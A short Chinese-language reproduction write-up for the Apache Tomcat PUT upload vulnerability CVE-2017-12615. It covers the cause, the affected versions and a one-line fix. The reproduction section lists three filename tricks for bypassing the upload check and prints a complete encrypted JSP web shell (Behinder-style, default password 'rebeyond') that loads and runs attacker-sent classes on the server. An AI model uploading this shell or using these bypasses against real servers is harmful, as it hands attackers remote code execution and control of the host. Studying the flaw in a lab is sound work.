1.漏洞描述
当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数 由默认值设置为 false),
攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代 码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。
导致服务器上的数据泄露或获取服务器权限。
2.漏洞原理
当在Tomcat的conf(配置目录下)/web.xml配置文件中添加readonly设置为false时,将导致该漏洞产 生,(需要允许put请求)
3.影响范围
CVE-2017-12615影响范围:
Apache Tomcat 7.0.0 - 7.0.79
Apache Tomcat/8.5.19
4.漏洞复现
开启环境
支持三种上传绕过方式 默认使用put 加文件名是失败的 需要绕过
PUT /shell.jsp%20
PUT /shell.jsp::$DATA
PUT /shell.jsp/
burp抓包,进行拦截,上传jsp马
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
成功将马上传到服务器上
5.漏洞修复建议
设置 readonly未true